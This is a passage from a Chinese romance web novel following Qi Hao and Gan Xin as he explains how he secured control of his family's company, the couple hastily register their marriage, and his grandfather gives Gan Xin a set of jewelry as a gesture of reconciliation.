齐灏觉得,世界上所有美好的形容词,都不够形容她一分,她那样真实,又那样勇敢,她是他的日月星辰,是他的江河湖海,是他赖以生存的空气,是驱动他前进的血液,是他灵魂的不可或缺。 他喜欢像个普通的男人一样,呆在她的身边。 给她拎包,为她刷卡,在她试穿时提出真实意见,帮她提着一堆购物袋,在她走不动路的时候背着她,和她在人气餐厅门口等号,点她爱吃的甜品,在她吃不下又不想浪费的时候拿过她的碗,找不到停在车库里的车时牵着她的手带她去,在她在车上睡着时将空调打高,也将音乐关小,再和她一起回家。 齐灏觉得,在觉醒对甘歆的爱恋后,自己才有了“活过来”的感觉,而现在,他不仅活过来了,还活得很好,活得有声有色。 那些曾经令自己迷惘的黑暗轰然退场,他不再向死而生,不再想着自毁,曾经的憎恶、厌倦、乏力,好像都成为了一场修行,为了遇见她、爱上她,此刻看着副驾上她的睡颜,他顿悟了这场修行的主题,值得。 过去的一切困苦,有她,便是值得。 如果能回到过去,他一定会对那个只会在心里喃喃自语的、小小的自己说,别怕、也别躲,你再等一等,会好起来的,都会好起来的。 就好像现在,与妻子约会一天后,在夜里驱车与她一起回家。 普通人,普普通通的日子,真容易让人满足啊。 这一晚广粤没有下雨,他哄着甘歆洗了个澡,把累得迷迷糊糊的人抱上了床,再搂进了自己的怀里,在她的额头落下一个吻,轻轻道一声晚安。 次日一早,甘歆醒来时,齐灏已经不在旁边,打开手机,他说在三楼,让她醒了记得去楼下吃早餐,还特意告诉她周泽和唐满来了。 甘歆收拾了下后就下了楼,在楼梯拐角处碰见了周波,她还是有些犯怵的,往后退了一小步,“周总早。” 周波好像也吓了一跳,开了口却不知道说什么,侧过来给她让了条路,“歆总请。” 她本无意与他多说,点头小声说了句不好意思,便往下走了,刚到客厅,就看见唐满坐在沙发上,对着她招了招手,“哟,小嫂子早啊。” 还真像个没事人儿似的,甘歆笑了笑,“唐总早。” 周泽坐在旁边的单人沙发里,见到甘歆起了身,“歆总早。” “好久不见,你坐你坐,”甘歆对他笑了笑,“上次谢谢你点醒我。” “没有,”周泽依旧腼腆,都不敢抬头,“我也是实事求是,说得有点着急,不好意思歆总。” “你们吃早餐了吗?”甘歆问。 “哪儿敢吃啊,”唐满阴阳怪气的,“你老公特意让我们等你一起,怕你没人顾着。” 周泽看了一眼唐满,她立刻噘了个嘴,“我又没说错。” “歆总,一起吃点吧?” 甘歆点了点头,她总觉得这两个人有点奇怪,气场大开的毒舌小姐怎么听了腼腆助理的话,还只是一个眼神,就让她住了嘴? 她没让周泽盛粥,先盛了两碗给他们,才给自己盛的,三个人就坐在黄花梨木的四方桌上吃早餐,甘歆喝了两口粥,看了一眼唐满,但转过头去问的周泽。 她的脑袋朝着唐满那边偏了偏,“之前她手里有照片的事……老爷子和她聊的什么?” 周泽眼睛瞪大了,唐满直接呛了一口,猛地咳嗽了起来,甘歆都吓了一跳。 她不过就问了个普通的问题,至于这么激动吗? 刚想去给唐满倒水,周泽已经将玻璃杯放到她手边了,还递了两张纸过去,拍她背的手看起来一点也不生疏,急得眉心都皱了起来,却说不出话。 好不容易平息下来,见唐满要说话,周泽拦下了,“抱歉歆总,唐总她……吃饭的时候一说话就容易呛,要不等吃完了,我们……”看着甘歆,周泽的声音慢慢小了下去,“……再聊。” 他好像什么都没说,却好像什么都说了。 甘歆点了点头,认真吃饭了起来。 平日里张牙舞爪的唐大小姐,吃得极慢,一匙粥恨不得分三口喝,非得想把这个等着八卦的人熬走不可,但是甘歆偏不,就坐在餐桌边看手机,等她吃完。 半小时过去,愣是个海碗粥都喝完了。 甘歆放下了手机,对着唐满先笑了一声,故意掐了个嗓子,“唐总给我解解密呗?” “……没什么,就是老爷子让我把你从齐灏身边赶走罢了。” “你倒是上心,直接用自己的婚事挡。”她哪壶不开提哪壶,料定唐满会着急。 “我没有!”唐满急得先去看了一眼周泽,才对着甘歆解释,“我和齐灏以前,不过是两个场面人。” “他怎么要挟你的啊?把洲海从你手里拿走?” “这算什么要挟,把我从洲海里摘出来,”她冷笑了一声,“都不知道是我急还是洲海急。” “这都拿捏不了你,难道你还有什么把柄在他手上?” 唐满下意识地又去看了眼周泽,扭过了头去,“这你就不用知道了。” “哦……”甘歆算是看明白了,她身上确实没什么弱点,但心里有,以前都没注意过,这会儿才想起来,唐满每次都是阿泽阿泽地叫,拿捏唐满,她一定奋力反抗,拿捏在意的人,她就变得柔软了。 看来,那年她来借住…… 这间屋子里动心的,不止齐灏一个人。 可能是两个,也可能是三个。 甘歆看着他俩,突然就不想问下去了,她拿出手机,打开了相册,“给你们看看我女儿?” “好啊好啊,”唐满凑了过来,但好像又觉得太热情,往后退了点,甘歆拽住了她,“离近点,我手就这么长。” 这是昨天妈妈发过来的视频,阳阳正在喝奶,嘴巴一嘬一嘬,脸颊也鼓鼓的,喝了几口还会哇哇大笑两下,几秒后又伸手要去握奶瓶。 视频停止了,但甘歆见到了唐满脸上的笑,她好像还是第一次看见唐满这样的笑容,丝毫没有强势,温柔、带着点儿宠溺,连鼻尖上小小栗色的痣看起来都很顺眼。 “可爱吗?”甘歆问,唐满点了点头, 她又朝她伸手,“礼物呢?” “什么礼物?”唐满有点懵。 “给小宝宝的礼物啊,空手看小宝?合适吗唐总?”甘歆故意揶揄她。 唐满的嘴角扯了扯,“……我让齐灏一点五个百分点,很有诚意了。” “让什么?”甘歆疑惑,难道齐灏问唐满借的钱还没还? “他不是要造乐园吗,找我们公司聊了啊,就在你爸妈家那个市郊附近,下周都要拍地了。” “啊?”她怎么有些听不懂,又看向了周泽,“什么意思?” 周泽回答得也理所当然,“星浩乐园的项目,预计今年第三季度动工,第一期应该在后年完成,整个项目目前预估有九期。” “……不是,等等,”甘歆脱口而出,“他不是要退出寰科吗?股份都在交接了?” 唐满翻了个巨大的白眼,“你能不能认真关心一下你老公的工作?” 甘歆脑袋上的问号都要没地方放了,眼睛不断在唐满和周泽之间游移。 “醒一醒,”唐满无奈地笑了笑,“董事长夫人。” 第87章 第87章”嫁给我,老婆。“…… 齐灏下来的时候,甘歆还没从震惊中缓过来,她眼看着周泽先从座位上起来,恭恭敬敬地喊了一声老板,才慢慢回过头去看他。 她眯着眼睛歪了一下头,整张脸上都是疑惑。 齐灏看了眼在位置上迷之微笑的唐满,心里大概知道发生了什么事,“你俩,不是还要去趟国展?时间差不多了吧。” 太明显的赶人行为了,唐满还想说两嘴,被周泽直接拉着手腕走了,远远还能听见她说的话,急什么,看看戏还不行。 甘歆就这么看着齐灏一步一步走到桌边,坐下,他想过来拉手,却被甘歆躲开了,抬眼看了看面前的这个男人,“不解释解释?” “回屋说,好不好?” 甘歆没说话,站起身来自己往楼上走了,看都没看一眼齐灏。 她就是讨厌他这样,什么都不说,到瞒不住了,就告诉你都解决了。 进了屋后,甘歆门没关,直接坐到了床尾,齐灏跟着就进来了,顺便关上了门,还反锁上了,不知道是不是今天要去三楼的关系,他穿上了衬衫和西裤,走到甘歆面前,他又想故技重施坐在地上,被甘歆用脚制止住了。 “起来,这次你趴着说也没用。” 齐灏笑了笑,好像被她识破了伎俩,只能坐到了她身边,他没去拉她的手,而是整个脑袋顶了顶甘歆的胳膊,还来回拧了拧,“老婆……” “我可不是你老婆,”甘歆往后退了退,“没领证呢。” 男人无奈地舔了下嘴唇,又凑过去,“……姐姐。” “呵呵,我也没你这种倒霉弟弟。” 软的不行,就来硬的。齐灏一把把她抱进了怀里,举起来就放到了自己的腿上,还用两条腿夹住了她的,他把脑袋搁在了甘歆的肩膀上,“好老婆,好姐姐,你听我解释。” “解释什么?”甘歆往后墩了一下,依旧被齐灏紧紧地控住了,“你那么大能耐,跟我有什么解释的,直接通知我个结果完了呗。” “要解释,要解释,”齐灏的手不松,“你在楼下还让我解释来着,怎么上来就不行了?” “噢,那还是我的错了,齐董事长?” “我错了老婆,你给我一分钟,我能解释清楚,好不好?” “你不要以为你每次说好不好我都会答应你,”甘歆气得想回头咬他,“你是不是看我担心你很爽啊,心里头哪个角落有点变态是吗?” 齐灏想去吻她的脸,甘歆连忙躲开,结果吻到了侧颈,他顺着咬了一口,怀里的人瑟缩得被打断了话,撇过头都不想理他。 也正因为这样,她才真正安静了下来。 “我不能跟着我爷爷提的条件走,如果那样的话,我永远都赢不了他,”齐灏的手松了松,将甘歆抱得正了些,也趁机将她的手捉住了,“南城航站楼的项目,是我故意扣下来的。” 甘歆回头看他,正好蹭上了他的嘴,见他眉开眼笑的样子,都想打他。 “这个项目体量很大,对近几年寰科的发展相当重要,而且这个项目我通过洲海,在行业里也发了通标,意味着只要有想法、有能力的公司,都可以来分一杯羹。” 她慢慢安静下来,听着这个年轻人讲布局,联纵横。 “爷爷的关系根深蒂固,很多企业的老一辈都讲究义气,这有好的地方,容易团结,也有坏的地方,实操不可控,但如今的做事方法变了,要质量、要效率,尤其在这种大项目上,人情关系就变得不那么重要,我需要一个很大诱饵,才能把他的牌打乱。” “你从竞标南城航站楼的时候就在策划了?”甘歆安静下来,回头看齐灏。 他笑了笑,先吻了吻她的唇,在她生气之前说出了答案,“更早一点,在说要追你的时候就在想以后要怎么办了。” “你当时是不是对自己太有信心了啊,弟弟?” 齐灏挑了挑眉,像极了甘歆第一年见他时的那个臭屁样,“我要追你,肯定不会只满足于和你谈恋爱,一辈子打底,至少。” 甘歆看着他的眼睛,此时认真打量起来,才发现,这哪是湿润可怜的小狗眼,明明是冒着绿光的狼,她彻底明白了齐灏那句“我觊觎你”的真正内涵,无论她如何闪避、摆脱,都无法逃开他早已划好的领地里,就算越线,也会狠狠被他叼着脖颈拽回来。 她咽了咽,假装强势,“别废话,接着说事。” “噢,”齐灏把她往上提了提再次抱好,“这个项目有了通标,我爷爷的那点人情关系,就会因为利益瓦解,还有……寰科新一轮的发展,也需要依靠这个项目,他没得选。” “那为什么股票还会涨?” “他很聪明,如果我毫不反抗争取,肯定会有所怀疑,”齐灏又吻了吻她的额角,“我没有提前告诉你,也是因为这个……事实上,在你来这之前,没有人知道。” “你通过洲海发标,唐满也不知道?” “发标是有代理价的,她刚接手洲海,高兴还来不及。” 甘歆知道,即使现在齐灏说起来云淡风轻,但在他在真正执行前后,内心肯定也无比焦灼,这么大个项目,前后需要稳住多少人,才能按照他既定的轨迹发展,她还记得,有那么几夜他都睡不着觉,叹气的频率也高。 她不想去拆穿了他的辛苦了,齐灏亲手送上来的,她陪他演完,她也想让他满足。 “所以你给你爷爷的文件是?” “他交接股权给我,”齐灏笑得露了牙,整个人看起来自信又温暖,“我爷爷啊,就是太骄傲了,尤其对身边的人,其实如果他不妨碍我们,我对这个位置是谁坐,都无所谓。” “他签了?” “签了,他当天晚上就签了,让周叔给的周泽,”齐灏叹了口气,“这也是个体面的办法,他不是早就放出消息要转让给我了么,他不签的话,后面就不好看了,他心里有数。” 甘歆咬了咬嘴唇,试探着问道:“那你和他……” “他还是我爷爷,毕竟他养大了我,”齐灏将甘歆掉下来的那缕发别到了耳后,“跟我之前说的一样,什么都不会变。” “心思挺深,心机挺重啊。”甘歆的语调都变了。 “我错了……错了老婆,宝贝老婆……”齐灏的黏糊劲儿上来,甘歆都有些招架不住,他眼睛一闭,“害你担心了,是我不好,你打我吧。” 甘歆还真捏紧了拳头,往他身上重重锤了好几下,“被你遛得团团转,天天吃不下睡不着,你真的讨厌死了。” 见她终于泄了愤,齐灏才捉住她的手,放到嘴边吻了吻,“还气吗,换只手再来两拳?” 甘歆看他故意绷紧肌肉的样子,又拧上了他的耳朵,“齐灏灏,你故意想让我手疼是不是?” “……没有,没有,那我放松让你打。” “不打了,软绵绵的,不够爽。” “嗯,硬的爽。”他故意拿言语揶揄她,眼睛里都是笑。 “喂!” “啊,麻烦,怎么四个月这么久啊……”齐灏躺倒在床上哀叹。 甘歆心里积攒的气被他搅散了,“你自己说的啊,要说到做到。” “现在后悔还来得及吗?” “你想后悔?” “不想,”齐灏又坐起来,对着甘歆神情严肃,“我对你永远认真,说到做到。” “不骗我就可以瞒我?” 他笑了,清了清嗓子,“制造惊喜的话可以瞒一下吧?” “什么惊喜?给阳阳造乐园?”甘歆都无奈了,她比划着,“我以为你只是在房间里搭个小小的儿童乐园而已。” “……那算什么惊喜,那是义务,”齐灏一副等夸的样子,“你觉得那个乐园怎么样,离爸妈家也近,就很方便啊。” 她笑得都发颤,真是有钱就可以为所欲为,还好意思说齐罪呢,父子俩一个样,“好是好,不过不会太费钱了吗?” “给女儿花点钱怎么了,先享受起来,而且乐园又不是没有收益,”齐灏对着甘歆抬了抬下巴,“等她长大了还可以按照自己的喜好改造,随便她折腾去。” 甘歆摸了摸他的下巴,大 拇指又摁上了他的下嘴唇,话都放软了,“你这个人……怎么对我们母女俩这么没底线啊?” 他凑过来咬住了甘歆的大拇指指尖,吮了一下才放开,“亲老婆,亲闺女,底线算什么,要底裤该给还得给啊。” “哎哎哎,”甘歆点了点他的脑门,警告地看了他一眼,“嗯?” “……知道了,我忍。” “那还差不多,”甘歆凑上去亲了齐灏脸颊一口,“谢谢老公。” “一句谢谢就完事了?” “不是还亲了你一口吗?” 齐灏刮了下她的鼻子,“不再给我点什么?” “要什么?” 他突然认真了起来,看着甘歆的眼神里充满了期待,“嫁给我。” “答应你了啊已经,”甘歆愣了愣,突然反应了过来,“你是想……?” “可以吗,我等不及回去了,”他看了看时间,“现在是中午11点,开车过去的话要四十分钟,你猜我们能不能赶在他们午休前——哎你慢点!” 甘歆从来没想过,去领证的这天会如此争分夺秒,她没等齐灏说完,就抓过了他的手腕往楼下跑,边跑边确认身份证带没带,跑到院子里的时候齐灏就已经将车解了锁,连身后的齐罪问他们去哪儿都来不及回答,车门刚关好就启动,一溜烟地开了出去。 齐灏几乎使上了全身的注意力,在并不通畅的城市道路里穿梭,甘歆时不时看看时间,又看看导航,十公里……七公里……五公里……啊,怎么又是红灯! 三公里……一公里,六百米,到了! 价值七百多万的车就停在路边,齐灏让甘歆赶紧下车,他已经等不及了,三分两百他愿意付,没有什么能够阻挡他求娶她的心。 他没想到,他的女孩比他跑得更快,已经上了前面的阶梯,对着他招手,又把双手放到嘴边对他呼喊,“老公!!快点!!!” 心脏的位置好像溢出了甜蜜的液体,鼓动着他,齐灏抬头看了一眼天,又看了看前方的人,有一瞬间想哭,他快速调整好了情绪,继续大步向前跑去。 甘歆的世界好像被调慢了速度,齐灏正一步步向他跑来,她肯定,他每一步都坚定,离得最远的时候,是一个8岁男孩,接着是15岁,再是20岁再见他时还带些涩感的青年,到眼前时,就是他现在的模样。 因为跑得太快,两个人的胸口都有些起伏,齐灏突然双手捧住了甘歆的脸,深深吻住了她,“我爱你,我爱你甘歆,我爱你!” 他是被甘歆拽进去的,拿到了上午的最后一个号,着急忙慌地现场拍了照片,快速填好了结婚登记申请,为了赶时间连宣誓词都省了,坐到窗口时两个人都笑得有些傻。 工作人员复核了信息后打印了结婚证,最后再次确认了两人的结婚意愿,盖上了钢印,并对他们道了声恭喜。 齐灏下车的时候顺了一包备在车里的烟,塞给了门口的保安大哥,请他给他们俩在所在地的宣誓处拍了合照,一人一本,他们两个像打完了一场胜仗,酣畅淋漓。 甘歆是被齐灏抱着腿扛在肩头出的民政局,她一路又笑又求,让他别闹,把她放下来。齐灏才不搭理她,还轻轻拍了下她的屁.股让她听话。 路过他们的人都在笑,连声说着恭喜。 他终于把甘歆放到了副驾驶上,深情凝望,认认真真、清清楚楚地喊了她一句。 “老婆。” 第88章 第88章最多减一个月,不能再多了。…… 刚刚跑得厉害,齐灏动作又有点大,甘歆下意识捂了捂肚子,把在开车的男人吓坏了,当下调头转了个弯去医院,路上又给齐罪打电话说让他帮忙联系下院长,三分钟之内齐罪就回了电话说办好了,让他赶紧去,顺便还叨咕了两句两人一大早不知道跑什么…… 电话连了车载蓝牙,甘歆也能听见齐罪说话,小声对齐灏说没什么事,可能就扯到了一点,不用大惊小怪的,没想到库里南的收声效果实在太好,齐灏还没说什么,齐罪就嚷嚷起来了。 “怎么没事,一丁点不舒服就要说,你不能跟那个臭小子学,什么都放在心里。” 甘歆看了一眼齐灏,他嘴抿成了一条直线,确实是不想再说话的样子,她就清了清嗓子,“爸,我们刚刚去领证了。” “领证了也不用这么赶啊,跑这么快,这才两个月,要是落下了……什么?!你们刚刚去领证了?!!” “啊,赶的上午场。” “……领证了啊?!!”齐罪的声音又高了一个度,“领证怎么不叫我?!我我、我给你们拍照啊!” “拍了的,爸,真没事,刚刚可能就是跑太快了。” “那你们也不能领完证才做婚检啊,歆歆啊,臭小子虽然年轻,但很多方面还是要——” “你今天和阳阳视频了吗?”齐灏实在是听不下去了,打断了他那不着调的爹的话,顺便提醒一下他,他也是个有女儿的人。 “视频了,视频了,”齐罪干笑了两声,又叹了下,“哎呦,阳阳想妈妈啦,大姐说这两天不太好哄,睡觉也不踏实,你俩忙完了就早点回去吧。” 说起来齐罪和甘歆爸妈的年纪差得有些大,自家儿子又干了先上车后买票的事,在外头一呼百应的齐老板,乖乖在亲家面前做了小弟,一口一个大哥、大姐的哄着。在北泽别墅的时候,要不是有齐罪这样的“粘合剂”,甘歆还真有些不知道能不能呆得舒服。 “知道了,检查完了回去看看订票。”齐灏把话接了过来,他也想阳阳想得厉害,前前后后一个月没见着了。 “行,那挂了。” 他见甘歆一脸笑意地看着自己,偏了偏头问:“怎么了?还疼吗?” “……不疼了,都说了没什么事,”甘歆犹豫了会儿,还是说了出来,“你爸……这几年在哪儿做什么的,你是不是都知道?” 齐灏愣了愣,嘴角勾了个笑,点了点头,“他会跟我说。” “哦?是他主动跟你说的?” “嗯,到哪儿了,打算在这做什么,就这两条信息,换个地方再给我发两条,”齐灏单手转着方向盘,表情也轻松愉悦了起来,“就发在我自用的手机上。” “那你回他吗?” “偶尔回,一年两三次吧。” “这么无情啊……想见他的时候才回他?” “以前没有想见他的时候,想我妈的时候会回,后来发现想谁其实没区别,就是想家。” 甘歆点了点头,“那等着之后他跟我们住一起会不会不习惯啊?” “啊?”齐灏转过脸来看甘歆,“谁说他要跟我们住一起了?” “……你不是让他 别四处跑了么,我以为是要一起来着。” 齐灏笑得毫无预兆,还无奈地摇了摇头,“其实你稍微把咱家想得豪一点也没事的?应该能兜住你的想象力。” “总不见得他在我们那有楼。” “有啊,他开发了几个住宅,”齐灏叹了口气,“那时候他也想离开寰科,所以自己私下搞了点地产,跟我妈攒的私奔费吧,我住的那个江边的小区,就是他弄的。” “你怎么知道?” “以前他俩腻歪的时候我听见的,后来他也给了我一叠文件,都在你爸妈那儿呢现在,老宅就匀了一间屋子给我们。” “……没看出来,你爸也挺努力的。” “嗯,天赋不够勤奋来凑吧,”齐灏话里还是有些嫌弃,甘歆听得直笑,“等回去了,他会给自己找地方住的,不用操心这个。” 甘歆想起来了件事,吸了口气,“哎我问你个事儿啊,你那个手机里,有个联系人,名字是个小鲸鱼,那个人是谁啊?” “想知道啊?不对啊,之前给你当备用机的时候也没问过,”齐灏笑得贼,“后来什么时候偷看的我手机啊?” 她被后面一句话问住了,难道要告诉齐灏,是自己起疑心的时候,大半夜不睡觉,摸了他的手机悄悄到阳台,查他的记录?这么怨妇的事情…… 没等他追问,就到医院了,甘歆松了口气,车开进医院时自动抬了杆,她现在已经对齐家人的这些离谱操作有了免疫,也没多问,直接被齐灏带上了五楼妇产科,主任医师已经在里面等着了。 一通检查下来,确实没什么问题,因为妇产科诊疗时男性家属需要在外面等,主任还特意从诊室里出来见了齐灏一面,亲自把“没什么问题”再重复了一遍,还表示家里养得好,恢复得很快。 甘歆看见齐灏的眼神冒出了光,有些夫妻生活的问题眼看着就要脱口而出,她赶紧拉了齐灏谢过医生走了。 “哎我还有问题没问——”齐灏还想往回走,被甘歆使劲拽了回去。 “问不问都是四个月,你自己说的。” 他真是后悔啊,当时非得逞那个能做什么。 回到车上,两人系完安全带,发动了车后,迟迟不见齐灏动作,甘歆狐疑地看了他一眼,“不走吗?” “刚刚的问题,还没回答我。”齐灏对她挑了挑眉。 “不回答行不行?”甘歆拽了拽他的袖口。 “……不行,我想听。” 这是铁了心要知道了,甘歆咬了咬牙,竖了一根食指出来,“减少半个月。” “那你得说一半。” 哇!这个男人怎么这么斤斤计较?! “……那减少一个月,”甘歆见他还有讨价还价的架势,立刻又补了句,“再少免谈。” “行吧,那勉强答应不追究你曾经那点莫须有的不安感了,”齐灏笑弯了眼睛,终于也说出了那个号码的答案,“那是你奶奶家的座机。” 甘歆怔住了,又问他要了手机来,解锁后翻到了通讯录,找到那个小鲸鱼昵称后打开,再仔细去看那一串号码,她才觉得熟悉起来……她鼻子有些发酸,再看齐灏的时候,正好对上这个男人温柔的眼神。 “没你的联系方式,就存了这个号码,就是前几年变空号了。” 她点了点头,又上下翻了下,发现他的联系人里又多了两个人,甘歆的嘴角也扬了起来,是她爸爸妈妈的联系方式,齐灏也默默存好了。 这么年轻,这么沉默,这么优秀,这么爱她。 饶是三年前,甘歆绝对不相信,自己会如此迷恋一个小自己十三岁的男人。 但她现在也好爱他。 回程前他们吃了个简餐,席间甘歆和妈妈视频了一下,又看了看阳阳,小团子现在到处爬,地上铺的都是软垫,对着镜头的时候还是一个劲地啃手,好像看见爸爸妈妈了又哇哇笑起来,对着镜头伸手要抱,甘歆思念泛滥,眼眶都红了。 再到老宅时,齐灏就已经把回程的机票买好了,甘歆问了他爸怎么说,齐灏说他打算在老宅呆一段时间再过去。 齐罪跟他说,当爹不及儿子,当儿子也不及儿子,他已经在努力当一个好爹,在当儿子这块,还需要好好和老爷子沟通沟通。 这段话齐灏没有告诉甘歆,他觉得自己还远远不够。 老宅周围树多,路灯却很昏暗,夜晚墙面上照出的斑驳树荫都有些糊,甘歆坐在沙发上等齐灏回屋,他已经被老爷子叫过去一个多小时了,她有些担心,时不时站起来走两步。 门被敲了敲,甘歆有些意外,她快步走过去开了么,竟然是周波。 “周总,有什么事吗?” 周波对着甘歆低了低头,“歆总,打扰了,老爷请您去一趟三楼。” 她带着疑问,脚步也忍不住快了点,明天就要回去了,她可不想在这个节骨眼上有什么变数,到了门口,她的脚步又慢了下来,倒是一直跟在身后的周波敲了敲门,为她开了门。 “歆总请进。” 她走进去后,周波把门带上了。 屋子里的三个齐家男人一起看她,甘歆有些不适应,老爷子和齐灏各自坐着单独的沙发位,齐罪倒是在大沙发上敞着坐,齐老爷子固守端庄,齐罪潇洒随意,齐灏沉静优雅,她愣在了门口,不知道下一步该怎么走。 齐灏起身走了过来,揽着她的胳膊带她到沙发那,将自己单独的沙发位给了她坐,自己坐到了齐罪旁边。 “甘小姐,”这是甘歆这次来老宅,老爷子第一次主动和她说话,“以前多有得罪,抱歉。” 她睁大了眼睛,没想到齐老爷子会赔不是,看了看齐灏,他只对她微微点了点头,才开口,“没关系,您有您的考虑。” 齐老爷子哼笑了一声,又叹了口气,“你果然和我想得不太一样,这就没关系了?” 甘歆摇了摇头,也对着齐老爷子笑了笑,又重复了一遍,“没关系,都过去了。” “好,甘小姐爽快,往后阿灏就拜托你照顾了。” “是他照顾我比较多,我会尽力的。”甘歆认真道。 齐老爷子站了起来,走路的姿势一点不显老态,甚至背过去挺拔的样子,能够窥探到他年轻时的俊朗英姿,他走到书桌后的柜子前,里面竟然是个保险箱,毫不避讳地拧转了按钮又按了密码,打开后从里面拿出了个黑丝绒的盒子。 他慢慢走过来,放到了甘歆的面前,才坐了回去,“打开看看。” 齐家另外两个男人也有些惊讶,想必是为了这个,才会深夜叫她到书房来,甘歆再次看了看老爷子,见他点了头,才慢慢将盒子打开。 竟然是一套完整的祖母绿翡翠首饰,项链、手镯和一对耳环。 不止甘歆,齐罪和齐灏都惊到了,不是因为贵重,而是因为……这应该是齐灏上次提到的,奶奶的遗物。 齐罪首先发声,“这是我妈——” “是,”老爷子抬眸看着齐灏,“外面村子里的人能说什么实话,你就信,好奇为什么不直接来问我?” 齐灏看了回去,没有任何惧意。 “我是愧对你母亲,有些事确实做得过分了些,当时心里憋着一股气,”老爷子摇了摇头,“罢了罢了,我老了,爱恨都由你们吧。” “这个您拿回去吧,”齐灏说,“我们没法收。” “收吧,你奶奶都没来得及看你爸成家,知道现在都有了孙媳妇,会高兴的。” 老爷子的声音很沉,好像过去的留声机,带着些岁月的痕迹。 无人接话,他便多说了几句,“我没有对不起你奶奶,阿琴是她的朋友,被人在港城封杀了来投靠她。她是真心软啊,就这么带回来了,救了她还不安分,”老爷子的目光停在这套首饰上,好像在掸记忆里的灰尘,“我怎么可能看得上她?你奶奶走了,她也没有活着的必要了。” 在座的人都一惊,老爷子的目光收了回来,重重叹了口气,“这首饰是 我赎回来的,来路很干净,你们收下吧,阿歆。” 许久,甘歆见齐灏点了头,才对着老爷子微微欠身,“谢谢。” 老爷子笑了,“不叫个爷爷?” “……谢谢爷爷。”甘歆抿了抿嘴,依旧紧张。 “你们的女儿叫什么?阳阳?齐阳?” 甘歆点了点头,拿出手机翻出了宝宝的照片,点开了大图递给老爷子,“您看。” “真可爱啊,”老爷子笑得温和,嘴对着沙发上的爷俩努了努,“他们俩刚出生的时候,也这么小。” 甘歆说:“等着带她来看您。” “好啊,我很期待。” 老爷子说还有话要和齐罪说,让甘歆和齐灏早点回房休息,他们临出门前,老爷子又补了一句,是对着齐灏说的。 “你爸说错了,我没有受过联姻的苦。” “我遇见了最好的人。” 第89章 第89章她的唇、她的吻、她的心、她…… 回到临江公寓,甘歆连拖鞋都来不及穿,洗了手脱掉外衣就跑到卧室里对着阳阳张手,“宝贝,妈妈回来啦!” 不过离开了几天,感觉阳阳又长大了一些,小宝贝趴在床上,脑袋一个劲往上抬,嘴里呜呜嗷嗷的,又咔咔笑了两下,对着甘歆直伸手,她坐到床边把阳阳抱在了怀里,对着脸颊就是个大声的亲亲。 “阳阳这几天乖不乖呀?”她伸手摸了摸尿布,是干燥的,又检查了女儿的听力和眼睛追随,才放下心来,举着了她两下又抱在了怀里。 齐灏带着她的拖鞋进了房间,蹲下帮甘歆穿好鞋,才坐到床边看母女俩,一脸满足。 甘歆带着女儿的胳膊对着齐灏的胳膊打了两下,“臭爸爸终于回来了是不是,我们打他。” 挥了两下拳头,小宝贝似乎觉得还不够,对着齐灏伸了手,嘴里“嗯嗯”地叫不停,甘歆亲了亲她的额头,“小没良心的,才给我抱了多久就要爸爸。” 齐灏笑着接了过去,抱在怀里抿着嘴亲了又亲,“阳阳,爸爸回来了,以后不走了,我们天天在一起好不好?” 小婴儿哪里听得懂大人的话,她只知道,妈妈在左边,爸爸在右边,他们的宝贝阳阳在中间。 齐灏回来了,屋子就显得有些拥挤,甘歆爸妈当晚说要走,被齐灏拦下了,说是自己考虑不周,他先回他住的地方,爸妈还是留在这,之后还要商量退租搬家,可能还要麻烦他们一阵。 这一顿又是体谅又带奉承的,把二老哄得高兴,一口一个小齐叫得欢,还夸他想得周到,顺带拉踩了一下甘歆,说她从小就性子急粗线条,她差点儿就要问问,谁是亲生的了。 今天阳阳兴奋得很,甘歆和齐灏一起哄了好久才睡着,他们蹑手蹑脚地出了房间,住家阿姨也刚刚在沙发上铺好床。 甘歆走了过去,“阿姨,这段时间辛苦你了,一直让你睡沙发,挺过意不去的。” “没事没事,这个沙发已经很宽了,太太您心善,买什么东西也总想着我,已经很感激了。” “回头我们搬了家,一定备个像模像样的床。” “好嘞好嘞,没事的,谢谢太太,”她看了看站在门口的齐灏,“您今天不住这儿吗?” 甘歆摇了摇头,“我陪我老公回去睡,明天再来。” “好,那您们晚上注意安全,我隔两个小时会去看看小宝的。” 甘歆换了鞋,就带了个手机和齐灏一起出门了,说起来她还是第一次跟齐灏回家,她看着电梯里站在身边的这个男人,恍惚间觉得好像回到了三年前,他那时候还是一副学生打扮,这会儿怎么看都是个成熟男人了。 “好看啊?”齐灏带着笑的声音从右上方落下来,甘歆抬头正好和他对视。 她突然想起来,那天齐灏靠在餐桌上,也是在问她看什么,她就想着那天的回答,照着说了齐灏一遍,“你腿好长啊。” 齐灏挑了挑眉,“不长怎么追得上你。” “你之前不是那样回答的。”甘歆皱了皱眉。 齐灏笑了,“你就想听一个‘嗯’?” 他们牵着手在江边的栈道上散步,看对面建筑群的灯光落在水里变成晶莹的样子,许多人从他们的身边路过,还看见了倚在栏杆上接吻的小情侣,深春的雨已经下完了,他们又将再次步入夏天。 走到路口,甘歆有些累了,齐灏就把她背在身上,还把她脚上的鞋脱了拎在手上,他哪能不知道,这个可爱又爱美的女人,到现在脚还有些肿,唯有对她好一些,再好一些,才能填补亏欠一二。 齐灏看着瘦,实际上精壮得很,肩也很宽,甘歆趴在他的肩头,突然想到了树袋熊这个动物,手臂搂得更紧了些,她拥嘴唇抿了抿他的头发,等他痒得晃脑袋的时候又亲了他一口。 “齐灏,我好喜欢你啊。” 在星空下,在浩瀚世间万物里,我挑中了一个想厮守终生的人。 他的脑袋向后仰了仰,也蹭了蹭甘歆的脸颊,“快到了,前面转个弯就是,别睡,容易着凉。” “嗯,”她轻轻拍了拍他的前胸,“这么久没回来,这次不用收拾收拾吗?” “都扯证了,没什么不能看的了。” “哦……没扯的时候就不能看啊?” 齐灏沉默了几秒,说出了个让甘歆意外的答案,“嗯,我担心你害怕。” “害怕什么?” 男人没有回答,拐进了面前的住宅小区,走进了一栋楼里,等电梯的时候他沉默着,一直到了扇黑色的防盗门前,他都没有说话,甘歆捏了捏他,“怎么了?” 他深深吸了一口气,“有点紧张。” “你在里面到底放了什么啊?” “要不我们明天再来?” “不行,我都来了,我要看。”甘歆蹬着腿要下来,但意外的是齐灏这次没有阻拦,而是帮她穿好了鞋放了她下来。 甘歆看着这样的齐灏有些陌生,他仿佛在等一场审判。 她站到门前,抬了抬下巴,“输密码。” “你生日,8位。” 甘歆伸出的手顿了顿,接着一顺溜按了下去,滴滴——门开了。 屋子里一片黑暗,只有巨幅的飘窗外,江对面建筑群的灯光映了进来,甘歆往里走了一步,齐灏也跟着往里走了一步。 